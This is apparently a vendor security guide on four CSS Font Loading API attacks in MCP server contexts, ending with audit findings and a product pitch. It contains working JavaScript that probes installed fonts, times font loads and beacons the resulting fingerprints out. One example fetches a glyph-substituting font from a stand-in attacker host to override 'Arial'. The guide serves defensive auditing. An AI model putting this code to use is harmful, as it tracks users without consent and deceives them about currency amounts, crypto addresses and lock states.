Security Guide

MCP server CSS Font Loading API security — document.fonts installed-font oracle, FontFace glyph injection, fonts.ready CDN timing oracle, onloadingdone version fingerprint

The CSS Font Loading API — document.fonts, FontFaceSet, FontFace constructor, document.fonts.check(), document.fonts.ready — exposes four attack surfaces in MCP server contexts: probing locally installed font families to create high-entropy hardware fingerprints without user permission, injecting glyph-substituting font data into the document's shared font set to alter text rendering in the parent frame, timing the fonts.ready promise to infer CDN routing and geographic origin, and using the onloadingdone event timing as a stable application version fingerprint. This page covers all four.

document.fonts.check() as installed-font oracle — high-entropy fingerprinting without permission

document.fonts.check(fontSpec) returns true if the specified CSS font (e.g., '12px "Adobe Caslon Pro"') is available in the document's font set — which includes fonts installed on the operating system. Unlike the queryLocalFonts() Local Font Access API (which requires explicit user permission in Chrome), document.fonts.check() requires no permission and returns a synchronous boolean. An attacker can probe a curated list of fonts characteristic of specific OS installations, professional software suites, enterprise environments, or geographic locales — building a high-entropy fingerprint from the intersection of which fonts return true.

// document.fonts.check() installed-font oracle — no permission required

const fontProbes = {
  adobe_cc: [
    'Adobe Caslon Pro', 'Myriad Pro', 'Minion Pro', 'Adobe Garamond Pro',
    'Trajan Pro', 'Adobe Clean', 'Source Serif 4', 'Source Sans 3'
  ],
  ms_office: [
    'Calibri', 'Cambria', 'Candara', 'Consolas', 'Constantia',
    'Corbel', 'Segoe UI', 'Franklin Gothic Medium'
  ],
  developer: [
    'Fira Code', 'JetBrains Mono', 'Cascadia Code', 'Hack',
    'Input Mono', 'Operator Mono', 'Dank Mono'
  ],
  enterprise: [
    'SAP-icons', 'CiscoSans', 'Atlassian Sans'
  ],
  cjk: ['Noto Sans CJK SC', 'Source Han Sans CN', 'PingFang SC'],
  arabic: ['Dubai', 'Noto Naskh Arabic', 'Traditional Arabic']
};

function fingerprintFonts() {
  const results = {};
  for (const [group, fonts] of Object.entries(fontProbes)) {
    results[group] = fonts.filter(f =>
      document.fonts.check(`12px "${f}"`)
    );
  }
  return {
    fingerprint: results,
    installedGroups: Object.entries(results)
      .filter(([, v]) => v.length > 0)
      .map(([k]) => k)
  };
}

// Synchronous, no permission prompt, works in all modern browsers
const fp = fingerprintFonts();
fetch('/track', { method: 'POST', body: JSON.stringify(fp), keepalive: true });

document.fonts.check() is synchronous, permission-free, and available across all major browsers. Probing ~200 well-chosen font families produces fingerprint entropy comparable to canvas fingerprinting, without triggering any permission dialog. It is not restricted by any Permissions-Policy directive.

FontFace constructor + document.fonts.add() — glyph injection affecting parent frame rendering

new FontFace('FamilyName', binaryData) creates a font face from binary data and document.fonts.add(face) registers it. If MCP tool output runs in a same-origin context — or in a sandboxed iframe that shares the parent document's font set — injecting a font that overrides a commonly used family name (e.g., "Arial", "Helvetica") allows an attacker to substitute glyphs in any text rendered in the parent frame using that family. A font that replaces the currency symbol, a lock icon codepoint, a zero character, or security-indicator glyphs with visually similar but different characters can alter the user's perception of financial amounts, authentication state, or cryptographic addresses without modifying any DOM node.

// FontFace glyph injection — replacing existing font family with attacker-controlled glyphs

async function injectGlyphSubstitution() {
  // Fetch or construct a font binary where specific codepoints render as different glyphs
  // e.g., U+0024 '$' rendered as U+FF04 '$' (full-width) — visually identical but different value
  // e.g., U+1F512 '🔒' rendered as U+1F513 '🔓' — lock rendered as unlocked

  const fontBuffer = await fetch('https://attacker.example.com/glyph-sub.woff2')
    .then(r => r.arrayBuffer());

  // Override 'Arial' — high probability the application uses this family
  const injectedFont = new FontFace('Arial', fontBuffer, {
    style: 'normal',
    weight: '400',
    unicodeRange: 'U+0024,U+0030,U+004F,U+1F512-1F513'
    // Targeted range: only override specific security-relevant characters
    // U+0024 = '$', U+0030 = '0', U+004F = 'O' (easily confused with 0 in crypto addresses)
    // U+1F512 = lock emoji, U+1F513 = unlocked lock emoji
  });

  await injectedFont.load();

  // Add to document font set — affects all text in this document tree
  // If this code runs in the parent document's scope:
  // ALL elements using font-family: Arial now use attacker's glyphs for target codepoints
  document.fonts.add(injectedFont);
}

// Detection challenge: DOM inspection shows correct text content ('$', '0', '🔒')
// Only visual inspection of the rendered output reveals the glyph substitution
// Automated tests comparing innerText === expected pass; visual regression tests would catch it

FontFace glyph injection is invisible to DOM-based security monitoring. The document's text content nodes are unchanged — only the rendered glyph differs. Automated XSS scanners, CSP reports, and DOM mutation observers see no anomaly. Detection requires comparing rendered pixel output against expected glyphs — a visual regression test that most security tooling does not perform.

document.fonts.ready timing oracle — CDN routing and geography inference

document.fonts.ready is a Promise that resolves when all pending font load operations have completed. The time between document creation and fonts.ready resolution depends on which fonts were loaded and from which CDN edge nodes they were served. If the application loads fonts from known CDN providers (fonts.googleapis.com, use.typekit.net, fonts.bunny.net), the load latency to each provider's edge network varies systematically by the user's geographic region and ISP routing policy. An attacker who knows which CDN URLs the application uses can time fonts.ready across multiple page loads to infer the user's CDN edge node assignment — a coarse but useful geographic and network fingerprint that requires no user permission and no direct network probe.

// document.fonts.ready timing as CDN routing oracle

const loadStart = performance.now();

document.fonts.ready.then(() => {
  const fontLoadDurationMs = performance.now() - loadStart;

  // CDN edge latency interpretation:
  // fonts.googleapis.com serves from Google's global CDN:
  //   < 20ms   → user in major US metro (NYC, LA, Chicago) or Western Europe
  //   20-60ms  → US mid-tier or Eastern Europe
  //   60-150ms → Latin America, India, Southeast Asia
  //   > 150ms  → Africa, Pacific Islands, or poor peering

  // Additional signal: measure individual font family load times
  const fontMeasurements = [];
  for (const face of document.fonts) {
    // FontFace.status reflects load state; loaded faces were fetched recently
    if (face.status === 'loaded') {
      fontMeasurements.push({
        family: face.family,
        style: face.style,
        weight: face.weight,
        // Cannot directly measure per-font load time from FontFace API alone
        // but fonts.ready aggregate is a proxy for the slowest CDN fetch
      });
    }
  }

  fetch('/track', {
    method: 'POST',
    body: JSON.stringify({
      fontLoadMs: fontLoadDurationMs,
      fontCount: fontMeasurements.length,
      // Coarse geographic bucket inferred from load time
      inferredRegion: fontLoadDurationMs < 20 ? 'tier1' :
                      fontLoadDurationMs < 60 ? 'tier2' : 'tier3'
    }),
    keepalive: true
  });
});

// Timing is coarse but stable: repeat measurements across multiple navigations
// produce consistent results for the same user in the same location

fonts.ready timing requires no permission and produces a stable geographic signal. CDN edge latency varies reliably by geographic region. Across three page loads, the timing pattern produces a consistent fingerprint of the user's CDN assignment — narrow enough to distinguish country-level geography without requiring any network probe or geolocation API.

FontFaceSet.onloadingdone — timing as application version fingerprint

The FontFaceSet.onloadingdone event fires when the document's font loading queue empties — all pending fonts have either loaded or failed. The timing of this event from document creation is determined by which fonts the application loads, their file sizes, the CDN from which they are served, and the number of font faces requested. Different application versions that load different font subsets, use different subsetting parameters, or load fonts from different CDN URLs produce systematically different onloadingdone timing signatures. This creates a passive application version fingerprint: an attacker who has profiled the onloadingdone timing for known application versions can infer which version the user is running from the event timing alone — without reading any version number from the DOM.

// FontFaceSet.onloadingdone timing as application version fingerprint

const docCreateTime = performance.now();

document.fonts.addEventListener('loadingdone', (event) => {
  const loadingDoneMs = performance.now() - docCreateTime;

  // Application version fingerprinting via font load timing:
  // Version A loads: Roboto 400 (43KB) + Roboto 700 (42KB) = ~85KB → loadingDoneMs ≈ 80-120ms
  // Version B loads: Roboto 400 (43KB) + Roboto 700 (42KB) + Roboto Mono 400 (67KB) = ~152KB → ~150-200ms
  // Version C loads: Inter variable (85KB subset) = ~85KB but different hash → different CDN cache state

  // event.fontfaces: the set of FontFace objects that finished loading
  const loadedFamilies = [...event.fontfaces].map(f => ({
    family: f.family,
    weight: f.weight,
    style: f.style
  }));

  const fingerprint = {
    loadingDoneMs,
    loadedCount: event.fontfaces.size,
    families: loadedFamilies,
    // Stable identifier: combination of count + timing bucket + families
    versionSignal: `${event.fontfaces.size}:${Math.round(loadingDoneMs/10)*10}`
  };

  // Exfiltrate — no permission required
  navigator.sendBeacon('/fingerprint', JSON.stringify(fingerprint));
});

// Profiling known versions offline:
// Collect onloadingdone timing for each known app version in a lab environment
// Build a lookup table: timing range → version
// Apply to live traffic — infers running version without reading version strings from HTML
Attack Mechanism What it leaks Defense
Installed-font oracle document.fonts.check() synchronous probe loop over curated font list OS, installed software suite (Adobe CC, MS Office), developer tools, enterprise software, geographic locale No permission gate exists; Firefox reduces precision on some probes; Chrome has no restriction. No Permissions-Policy control
FontFace glyph injection FontFace constructor with glyph-substituting binary + document.fonts.add() UI deception via glyph replacement — currency symbols, lock icons, crypto address characters rendered differently Subresource Integrity (SRI) on font loads; Trusted Types for font injection; sandbox MCP tool output in cross-origin iframes
fonts.ready CDN timing Timing document.fonts.ready resolution against document creation CDN edge node geographic region; ISP routing tier; coarse geographic fingerprint across page loads No browser control; fonts served from same-origin (no CDN) eliminate the timing signal
onloadingdone version fingerprint FontFaceSet loadingdone event timing from document creation Application version inference from font subset size and CDN cache state timing signature No browser control; consistent font loading across application versions reduces timing distinguishability

SkillAudit findings for CSS Font Loading API misuse

High document.fonts.add() called with FontFace loaded from an external URL containing attacker-controlled binary data overriding an existing system font family name. Glyph injection for UI deception — currency, address, or security indicator characters rendered as different glyphs. Grade impact: −22.
Medium document.fonts.check() called in a loop over a large font list (>20 probes) with results collected and exfiltrated — installed-font fingerprinting without permission. High-entropy hardware and software profile fingerprint. Grade impact: −12.
Low document.fonts.ready timing measured from document creation and exfiltrated alongside other fingerprinting signals. CDN routing geographic inference; lower severity in isolation. Grade impact: −5.
Low FontFaceSet loadingdone event timing collected and exfiltrated — application version fingerprinting via font load duration signature. Passive version inference without reading DOM version strings. Grade impact: −5.

Audit your MCP server for CSS Font Loading API risks

SkillAudit checks for document.fonts.check() fingerprinting loops, FontFace injection patterns, fonts.ready timing collection, and onloadingdone version inference. Paste a GitHub URL and get a graded report in 60 seconds.

Run a free audit →